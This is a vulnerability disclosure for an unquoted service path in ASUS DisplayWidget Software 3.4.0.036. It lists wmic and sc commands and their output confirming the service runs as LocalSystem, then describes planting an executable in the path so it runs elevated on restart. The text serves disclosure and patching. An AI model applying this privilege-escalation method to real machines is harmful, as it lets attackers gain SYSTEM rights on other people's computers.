ASUS DisplayWidget Software 3.4.0.036 ASUSDisplayWidgetService Unquoted Service Path

2021.06.22
Credit: Julio Aviña
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Title: ASUS DisplayWidget Software 3.4.0.036 - 'ASUSDisplayWidgetService' Unquoted Service Path # Date: 2021-06-21 # Exploit Author: Julio Aviña # Vendor Homepage: https://www.asus.com/ # Software Link: https://dlcdnets.asus.com/pub/ASUS/LCD%20Monitors/MB16ACE/ASUS_DisplayWidget_3.4.0.036.exe.zip # Version: 3.4.0.036 # Service File Version 1.0.0.1 # Tested on: Windows 10 Pro x64 es # Vulnerability Type: Unquoted Service Path # 1. To find the unquoted service path vulnerability C:\>wmic service where 'name like "%ASUSDisplayWidgetService%"' get displayname, pathname, startmode, startname DisplayName PathName StartMode StartName ASUS DisplayWidget Service by Portrait Displays C:\Program Files\Portrait Displays\ASUS DisplayWidget\DisplayWidgetService.exe Auto LocalSystem # 2. To check service info: C:\>sc qc "ASUSDisplayWidgetService" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: ASUSDisplayWidgetService TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\Portrait Displays\ASUS DisplayWidget\DisplayWidgetService.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : ASUS DisplayWidget Service by Portrait Displays DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem # 3. Exploit: A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application. When restarting the service or the system, the inserted executable will run with elevated privileges.


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